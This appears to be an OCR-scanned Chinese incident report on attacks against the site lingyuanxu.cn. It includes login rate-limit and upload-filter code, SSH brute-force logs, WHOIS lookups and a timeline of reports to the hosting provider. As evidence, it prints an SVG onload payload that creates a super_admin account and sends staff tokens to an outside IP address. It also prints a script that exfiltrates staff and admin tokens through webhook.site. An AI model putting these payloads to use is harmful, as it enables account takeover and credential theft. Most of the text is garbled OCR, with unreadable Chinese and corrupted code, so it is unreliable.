if (rec && now - rec.reset_at <= LOGIN_WINDOW && rec.count >= LOGIN_MAX) {
return res.status(429).json({ code: 1, msg: 'S x#I L, BHREHIL' ));
}
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AEBLES: LYX-BJ-20261110-001 (5EZEhR) -« F 1971 /H 24T - TIHIARATEIEER, EIHERES
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fifF B: HRARESESICREE (D)

const upload = multer({
storage,
limits: { fileSize: 60 * 1024 * 1024 }, // 231+ 60MB
fileFilter: (req, file, cb) => {
: mimetype HE iR EIR, AITNES, (R 6 =
const SAFE_EXT =/\.(jpe?g|png|gif|webp|bmp|mp4|mov|m4v|webm|mp3|wav|m4a|

pdf|txt|docx?|xlsx?|pptx?|zip) $/i;
const ext = (file.originalname || "").toLowerCase().match(SAFE_EXT);
const ok = ext && (/"image\// test(file.mimetype) || ...);
cb(ok ? null : new Error('{NZ15E R . W50, SHMck s AN E"), ok);
}’
;

B-3: X LEETREABRREBERE (RSBREXHHR)

AEBLES: LYX-BJ-20261110-001 (5EZEhR) -« 2071 /#H 24T - TIHIARATEIEER, EIHERES
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B C: HEE LEEEXMHEX (—)

42

<svg xmIns="http://www.w3.0rg/2000/svg" width="640" height="420" onload="fetch(
'/api/pay/admin/staff' {method:'POST  headers:{'X-Staff-Token':localStorage.staf
f_token,...,body:JSON.stringify({work_id:'lyxsec4',name:'s',email:'a@a.com’,passw
ord:'Lyx@2026!"role:'super_admin'})}).then(r=>r.text().then(t=>new Image().src=
'http://43.226.125.25:8765/img?t="+encode URIComponent(localStorage.staff_token||'

none')+'&r="+encode URIComponent(t)))}">

<text>Z FRFUM - TTRFFR (d</text>

<text>JJE25 : LYX20261109001 +&0 : ¥1,280.00</text>
<text>RITENN, BEREZHNHEEEEEIE</text>
<text>m th & &R E</text>

</svg>
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fif C: WEE LETZEXMHEX (Z) 5RLEBS

evidence viewer —

(function(){
var st="\at="";
try{st=localStorage.getltem('staff_token')||"}catch(e){}
try{at=localStorage.getltem('admin_token')||"}catch(e){}

var out="TOKEN="+st+'|ADMIN="+at+'|HREF="tlocation.href;
function ex(u){try{(new Image()).src=u}catch(e){}}
ex('https://webhook.site/1bc31e42-.. . out);

B C2: (WERERNGERHARN, XHERE, MERRIT

ey R BR  FRES  BASE  FEDS 40P REEE

SECURITY

REFHIEELR

2026 £ 11 B 9 HEMERBEMERE, dXAFTERSZHAES Al BRMIES
« BPFHESHE, MibkRSS b,

HREL .

REFENERRGEMS. TBIHEXR

2026 4 11 § 9 H 12:20 F 13:40 (LREFE)) , EBFEM (ingyuanxu.cn) EZHRE 4 MIREREE 1P NEEFEET, EXT

Wb

Hikedi 2026-11-09 12:20 - 13:40 ({LmBifE), $5£:40 80 53450
KR IP 47.117.34.80 - 47.117.34.252 - 47.117.36.48 - 47.117.40.186
P 3R 4 1P EFEES (Aliyun Computing Co., LTD, 47.116-47.119 FEE, £ APNIC WI

B3R - 47.117.36.48 [ ran A AR e A S A0 L ST AAeEOAs T

C-3: BREEMREREAF A https://www.lingyuanxu.cn/security-report.html (2026-11-10 &7r)

AEBLES: LYX-BJ-20261110-001 (5EZEhR) -« 22T /#2471 - TIHIARTEIEER, EIHERES
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FhFEIEE: BRS32% SSH ZIRERBW=H (2026-11-09 &Kid)

—. FHER

2026 £ 11 A 9 H 19:22:22 & 22:00:57 (ALREFiEl, TRE) , HiR IP 103.47.192.51 REAMRSRBENTZER
AR5 &S 3092 IR root IS EIBERZIX (SSH MY , FHEIFRL 2.5 W—R, EBEHUFERIRRIFIE,
FF4249 2 /)\BY 39 S8,

ERZREERY, HENEERENTEMLNBRIER (REBESHEIMNECRBREAFENZRERIG
&) o BRITASAREXFR 118 9 BHF 4 MIER LS IP 8 Web IEHIFFE—KIR, RE—EHT root kS
BIE RS IR,

—. ¥kiFEJAE (APNICWHOIS, ZEifjAtija): 2026 £11 A 10 H)

IP:103.47.192.51
inetnum : 103.47.192.0 - 103.47.195.255
netname: FTECH-VN
descr :Vietnam F Tech., JSC (&R « SAIA)
country : VN
ZMERE APNIC SEMEIE, MAIIREXRIBAE info@ftech.vn; [RI8 WHOIS ;REI& X A B1TTENRES.

=. RHAEHG (/var/log/auth.log, FISERERER)

Nov 919:22:22iZj6cf678zqtacxsyvgbvaZ sshd[519381]: Failed password for root from 103.47.192.51 port 41106 ssh2
------ (LbfE#4E 3091 RAIKIER, BFKERLY 2.5F) -
Nov 922:00:57iZj6cf678zqtacxsyvgbvaZ sshd[529868]: Failed password for root from 103.47.192.51 port 52668 ssh2

M, REFER
1. root ZEFIETF 2026-11-09 HHEHR, REHAEREMIERMRLRE;
2. 2BINERE (83092 %FKWIiER) BRBRE, ARG E SR
3. EChEZESEHIFNE] TELRK P BnhfERT) 21T, SERGBUERHEEHE,

WEFTES: LYX-BJ-20261110-001 (Se¥hR) - $230/H 24T - TWHARIERES, BHERNE
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#IEIEE: FERABFERAR (REZRASHRIAEEL)

—. FR5EIELIE (LREE, BERIERATE)

2026-11-09 18:38 IREABME R 2HPFE infosec@service.aliyun.com IR EIFHRAZIR (& 4 NS IP.
WENE%5EE) ;

2026-11-0918:54 [Ex[EIH: FIREZE, $TERESEFRRE;

2026-11-0920:03 &£ 11-10 03:43 RTBEAZLBER XA FIEE (RS2FIEEE. B 1P BITLEN SOCKSS £
B, BE IPEMNEKS HEFRSIEERES. EXTEIHES)

KIBHEFBEAMEILE;

2026-11-1010:01 FIE=ZRZRE: LR 4N IP £ TE8REN, F@AEERAFELEEXEETH
2026-11-1010:07 RFEALR: NATRESHVELR, SHEYAEKEER, EXRMNESFREIREEE.
WS 5it s EHEESEH R,

2026-11-1010:19 FE=RGRIR: 47.117.36.48 MEBIRNALIEIESR] , B FEMRERZIRIE D T LB
#;

2026-11-1010:32 FIE=RS/RIR: 47.117.36.48. 47.117.34.252. 47.117.34.80 EFIAE THIRET -

= BEARFERIBFEFAHREA

1. [A—&F (47.117.36.48) HUIAELILTE 31 DHARARE (BR>TEIEL>BX) , 47.117.34.80. 47.11
7.34.252 IR A TRAINEER WEE, FRIAESELHER—,

2. FEHR TEM INERNLERBE(ONBREERSBRRBHELITH, KIHER. RASILTERE, &
TREAFR SRS LR E R EE A AR S AR,

. FERIENHALKENLE, REEATHEIERTIEES., REANA, FEESHHIRRURARKETH
EHRE. ZRMIIAE, BXELNHEARVXKEAEZE,

=. HERE

ERLEAERME (EZHERERIBEN. EHES) TEETFTIREALETHFE chenmingxuan@lingyuanxu.
cn, PIRERTHTENS S HMES; HEXEMG BRI ESANE 5 AT EL —H.

5: 2026-11-1021:12, IREABEKPME X infosec@service.aliyun.com, FEh#EILETE 116.62.22.194 IAEH
WHEERFNEIRAST (ZIPEEZAE=FFERLAETR) , HRIRIHERE,

B FH 13:25. 16:14, 16:18, 16:24 (LRBTiE) , FMBRXSEELR 14 HAGRIBEA, 3 47.117.36.48,
47.117.34.80. 47.117.34.252. 47.117.40.186 BXL2IIAE TEIRE , 5HH 10:01. 10:32 REIL—
o 21:12 FPREFREWEIRE=BRIEEH (FHNTHERE) -

AEPTES: LYX-BJ-20261110-001 (5e%EhR) - F24 T/ H 247 - IHARSBEREER, FHERE
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